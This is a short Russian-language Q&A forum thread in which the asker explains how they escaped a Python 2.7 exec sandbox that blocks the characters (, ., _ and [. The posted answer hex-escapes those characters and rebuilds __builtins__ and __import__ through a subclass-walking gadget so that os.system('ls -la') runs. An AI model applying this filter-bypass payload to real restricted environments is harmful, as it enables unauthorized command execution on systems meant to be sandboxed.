Задать вопрос
@LakeForest

Как использовать exec в python 2.7, так чтобы вывести файлы os, избегая символы (, ., _ и [?

Пытаюсь так, через hex кодировку, но не работает.. То не выводит файлы, если писать
То matches не проходит...
builtins, garage = {'__builtins__': None}, {}
    try: exec('print(os.system(\'ls -la \')'), builtins, garage)
    except: pass
  • Вопрос задан
  • 73 просмотра
Подписаться 2 Простой Комментировать
Решения вопроса 1
@LakeForest Автор вопроса
При помощи hex() в питоне я заменял все недопустимые символы в строке:
hex(ord('['))
Затем экранировал:
calc('print\\x28os\\x2esystem\\x28\'ls -la \'))#')
Но чтобы сработал код надо снова определить __builtins__ и __import__ -ировать os.
Примерно так с __builtins__:
\\x5f\\x5fbuiltins\\x5f\\x5f=\\x5bt for t in \\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbases\\x5f\\x5f\\x5b0]\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28) if 'warning' in t\\x2e\\x5f\\x5fname\\x5f\\x5f]\\x5b0]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы